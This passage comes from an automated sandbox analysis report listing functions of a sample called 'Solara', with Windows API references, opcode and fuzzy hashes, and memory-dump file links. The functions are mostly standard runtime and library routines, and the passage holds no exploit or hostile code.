Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c74cb4ed663d7b3e89dd6d6136f7d022be89fc3fc4e89d8e23038d0f2ab46a5
Instruction ID: fb538a8343261ca3113e39c8a1124633a2be4e8f53cb12b582a8f69b75b7fe31
Opcode Fuzzy Hash: 4c74cb4ed663d7b3e89dd6d6136f7d022be89fc3fc4e89d8e23038d0f2ab46a5
Instruction Fuzzy Hash: 8C01F533224215AFDF168E68FC4599633EABBE8760B254025FA00C7094DB31DC62DF50

Function 0020CB32 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: b97ffc56e9bd4726982bdb2ce5bbf98bef73d0746800807f8d0f46abaa2116c3
Instruction ID: ad8f91234ae361c7781cb21544ac2405cc0dfa5b1909aff821e67cdcba3eb6ae
Opcode Fuzzy Hash: b97ffc56e9bd4726982bdb2ce5bbf98bef73d0746800807f8d0f46abaa2116c3
Instruction Fuzzy Hash: 8A01FDF66283864BDB159B38E8652A8BB20FF96338B34426FD011845C3DB229874C600

Function 00207770 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Concurrency::details::_Release_chore.LIBCPMT ref: 002077C6

Part of subcall function 0020AF64: CloseThreadpoolWork.KERNEL32(?,00000000,?,002078DA,00000000), ref: 0020AF72

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: CloseConcurrency::details::_Release_choreThreadpoolWork
String ID:
API String ID: 312417170-0
Opcode ID: 9f2f21c670028022ae9e621f8078ff4ca87c3614b0b5f2bb692b7a8b6bf11a00
Instruction ID: e79958624ccca5798f822b1d6c05ffcb7588d202e22bf91d681eb2d70ad985cd
Opcode Fuzzy Hash: 9f2f21c670028022ae9e621f8078ff4ca87c3614b0b5f2bb692b7a8b6bf11a00
Instruction Fuzzy Hash: C7018BB1C003499BCB00EF84DC0979EBBB4FB04720F00423AE80967381E339AA51CBD2

Function 0021BF11 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,0021DF35,?,?,0021DF35,00000220,?,00000000,?), ref: 0021BF43

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 147946497931c3fe24cc1d378c123bac794a6023d732c97be25ce76082b1a5d0
Instruction ID: 5984882cc9db11e5298b951fa12cab81a89a0cad0fc6bf6f35fcaf4bf3565965
Opcode Fuzzy Hash: 147946497931c3fe24cc1d378c123bac794a6023d732c97be25ce76082b1a5d0
Instruction Fuzzy Hash: 9CE0E53153556266DA233E65AC08BDB36ECAF717A0F1501A0FC1C96990DB60DCE2CDA0

Function 002098F0 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0020990F

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 6e593c8e71e42ffcda6e1e51f57f8f7cc54918fe29f119af6c9c5b897f7fd9e0
Instruction ID: 047d5dd6611aa489480bf0276d5fb86854a696746914d28971b624e1913e0fec
Opcode Fuzzy Hash: 6e593c8e71e42ffcda6e1e51f57f8f7cc54918fe29f119af6c9c5b897f7fd9e0
Instruction Fuzzy Hash: F3D0A7397111244FC7257F28B81882E7365FFC872039604AAE941D7397C724EC528BC0

Non-executed Functions

Function 00221287 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 182COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0021C16A: GetLastError.KERNEL32(?,?,00215495,00238E38,0000000C), ref: 0021C16E
Part of subcall function 0021C16A: SetLastError.KERNEL32(00000000), ref: 0021C210

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 0022138F
IsValidCodePage.KERNEL32(00000000), ref: 002213CD
IsValidLocale.KERNEL32(?,00000001), ref: 002213E0
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00221428
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00221443

Strings

,K#, xrefs: 0022133C

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: ,K#
API String ID: 415426439-2147254570
Opcode ID: fba8c70cef620072eb110d6d1ef962cc36d3fd7aaefe734522d41c0e985cfc83
Instruction ID: c7cec249ae6ad7e6a2d3a557c8e00f1617d83168ccf281d5728ee3c35070f39d
Opcode Fuzzy Hash: fba8c70cef620072eb110d6d1ef962cc36d3fd7aaefe734522d41c0e985cfc83
Instruction Fuzzy Hash: 59516071A20226BBDB20EFE5EC45EBE77B9AF25700F144465F905E7190E7709A70CB60

Function 00227792 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1479COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 002279A9

Strings

1#INF, xrefs: 002278C8
1#SNAN, xrefs: 0022789E
1#IND, xrefs: 00227897
1#QNAN, xrefs: 002278A5

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 83f5e8c17ad2f4f4f96d2754c67e55604c03dd2ac0d1b8b624c6ed2dcc5e53c4
Instruction ID: e689771d90c4a61bfb1acd02fe12a552973db6e8d360650a93a9a6166e3f15d8
Opcode Fuzzy Hash: 83f5e8c17ad2f4f4f96d2754c67e55604c03dd2ac0d1b8b624c6ed2dcc5e53c4
Instruction Fuzzy Hash: 6AD26B71E292299FDB64CE68EC407EAB7B5FB54304F1401EAD40DE7240EB78AE958F41

Function 00221A07 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,002213BD,00000002,00000000,?,?,?,002213BD,?,00000000), ref: 00221AA0
GetLocaleInfoW.KERNEL32(?,20001004,002213BD,00000002,00000000,?,?,?,002213BD,?,00000000), ref: 00221AC9
GetACP.KERNEL32(?,?,002213BD,?,00000000), ref: 00221ADE

Strings

ACP, xrefs: 00221A25
OCP, xrefs: 00221A5B

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 083d4a6b937a61f0097e7b146c2b83335e517912b1b1d0dc8692f519b0bec96c
Instruction ID: d907c4121d0182726d67f44ab989919fb8dcc51ed2078e6b879c80264922aa0b
Opcode Fuzzy Hash: 083d4a6b937a61f0097e7b146c2b83335e517912b1b1d0dc8692f519b0bec96c
Instruction Fuzzy Hash: B021B822B22122B6D7348FD4E904E9772AAEB74B54B968435E909D7100E731DE70C390

Function 00219CC0 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction ID: 1b63e56013f978c6a94efebc621a8bcb3b6580830d976a0283ebb2b4bcd391c5
Opcode Fuzzy Hash: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction Fuzzy Hash: 33024C71E1121A9BDF14CFA8C8807EEB7F5FF58314F24826AE519E7341D731AA918B90

Function 00221FE9 Relevance: 6.2, APIs: 4, Instructions: 206fileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000), ref: 002220D9
FindNextFileW.KERNEL32(00000000,?), ref: 002221CD
FindClose.KERNEL32(00000000), ref: 0022220C
FindClose.KERNEL32(00000000), ref: 0022223F

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: Find$CloseFile$FirstNext
String ID:
API String ID: 1164774033-0
Opcode ID: 06a0b4f75e8eaa7e9a1061e171066d36176c5cccfcb29597bb64c84a9717886f
Instruction ID: e5380fdc65a8b4cc880fa3306d68c8a2843f45549fd32df6a8a01f77413e00d5
Opcode Fuzzy Hash: 06a0b4f75e8eaa7e9a1061e171066d36176c5cccfcb29597bb64c84a9717886f
Instruction Fuzzy Hash: 3A71E571915179FEDF219FA4EC8DAFAB7B9AB15300F1442D9E448A7211DB324EE88F10

Function 0020F8E9 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0020F8F5
IsDebuggerPresent.KERNEL32 ref: 0020F9C1
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0020F9DA
UnhandledExceptionFilter.KERNEL32(?), ref: 0020F9E4

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 7f4505ebfe792d6aa26ce1fce54198a4018c5bdf88f4610706efc795769c4e34
Instruction ID: e4db289d4a63e3b8690f5d7d23655091c1fc56526890f9e3de52ae14f5145c67
Opcode Fuzzy Hash: 7f4505ebfe792d6aa26ce1fce54198a4018c5bdf88f4610706efc795769c4e34
Instruction Fuzzy Hash: A131F675D1131DABDB61DFA4D9497CDBBB8AF08300F1081AAE40CAB290EB719A95CF45

Function 00221580 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 0021C16A: GetLastError.KERNEL32(?,?,00215495,00238E38,0000000C), ref: 0021C16E
Part of subcall function 0021C16A: SetLastError.KERNEL32(00000000), ref: 0021C210

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 002215D4
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0022161E
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 002216E4

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: cd09b5c9389501e81359430977de918df65e5b2cb995d5a1ffd2a9f9f5b5b367
Instruction ID: e10b341b416977a0c8da2d8017936cd3f0cded105d797ada30a58e2cd3564086
Opcode Fuzzy Hash: cd09b5c9389501e81359430977de918df65e5b2cb995d5a1ffd2a9f9f5b5b367
Instruction Fuzzy Hash: 3461A471560127AFDB289F64EC82FBAB3A8EF64700F144175E905C6185E775DAB0CF50

Function 00217E30 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00217F28
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00217F32
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 00217F3F

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: daf9d2027e7fe35fa549b7e53716502d88ec69259554326843280abf2d79ac0e
Instruction ID: 0fc39ec6858b392d68b90bfc00507056c747820d421522d5b45ff9151cbb133b
Opcode Fuzzy Hash: daf9d2027e7fe35fa549b7e53716502d88ec69259554326843280abf2d79ac0e
Instruction Fuzzy Hash: F731C17491122DABCB21DF64D9897CDBBF8AF18310F5042EAE40CA7291E7309F958F45

Function 002100B4 Relevance: 3.0, APIs: 2, Instructions: 27timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32 ref: 002100EC
GetSystemTimeAsFileTime.KERNEL32(?,75E5C5C8,00208E30,?,0022BE77,000000FF,?,0020FDB4,?,00000000,00000000,?,0020FDD8,?,00208E30,?), ref: 002100F0

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: Time$FileSystem$Precise
String ID:
API String ID: 743729956-0
Opcode ID: 13e1fc9903e23891663d2dbaeca5c4dcd9227bdb6ff886249722e30d730e2893
Instruction ID: 304c5c132aed05ed37469365c90a70f27b7584773b509cdb72fabe95bf8b15f1
Opcode Fuzzy Hash: 13e1fc9903e23891663d2dbaeca5c4dcd9227bdb6ff886249722e30d730e2893
Instruction Fuzzy Hash: 0FF06532A54668FFCB028F54EC49B9EB7ACF708B10F01416AE91293790DB756940DB80

Function 00213FB2 Relevance: 2.8, Strings: 2, Instructions: 318COMMON

Download Yara Rule

Strings

(=!, xrefs: 002142D6, 00214278, 0021421A, 0021419B
0, xrefs: 00214136

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID:
String ID: (=!$0
API String ID: 0-3681308281
Opcode ID: 24bd89f8c8ea662106cc7fe569ce5f8a49eed9acd14ada291b0f32fa3b8c6008
Instruction ID: b2fff840eb26abd7fce91cba86ca0eb03c235dd036ab4bc2821818bb888af279
Opcode Fuzzy Hash: 24bd89f8c8ea662106cc7fe569ce5f8a49eed9acd14ada291b0f32fa3b8c6008
Instruction Fuzzy Hash: 48B1E4309206079BCB28EF69C5556FE7BF1AF34300F24461EEA5E97681C73199E1CB41

Function 00225C5E Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00225BB9,?,?,00000008,?,?,0022BCAB,00000000), ref: 00225E8B

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: e878b8adb4f22fb6c4d54c5157ccc5b6d06a3dd70d8414df35c6ffda86903f24
Instruction ID: 5027bc75e9265e4110fdec8e54bebb92f9dcb9137ed76e8b3bbc13016913ed6e
Opcode Fuzzy Hash: e878b8adb4f22fb6c4d54c5157ccc5b6d06a3dd70d8414df35c6ffda86903f24
Instruction Fuzzy Hash: 04B18131120A29EFD715CF68D48AB657BE0FF05364F29C658E899CF2A1C735D9A1CB40

Function 0020F555 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0020F56B

Memory Dump Source

Source File: 00000000.00000002.1647220646.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000000.00000002.1647186799.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647250418.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647277334.000000000023A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647298153.000000000023B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647324981.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647347446.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1647387372.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_200000_Solara.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 3fa635452ff05a1aad1cc8767a04e9e0e32bdeeee9fe79e0b324cab3bd30642c
Instruction ID: 7f0e340aadbf91a977cf933130988b87777db8cc964e1fa97abd871ebaab5e3b
Opcode Fuzzy Hash: 3fa635452ff05a1aad1cc8767a04e9e0e32bdeeee9fe79e0b324cab3bd30642c
Instruction Fuzzy Hash: 09A1ADB2D203059BDB29CF54E989699BBF9FB48320F28C62AD511E73A5D3749980CF50

Function 00221840 Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0021C16A: GetLastError.KERNEL32(?,?,00215495,00238E38,0000000C), ref: 0021C16E
Part of subcall function 0021C16A: SetLastError.KERNEL32(00000000), ref: 0021C210

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00221894

Memory Dump Source

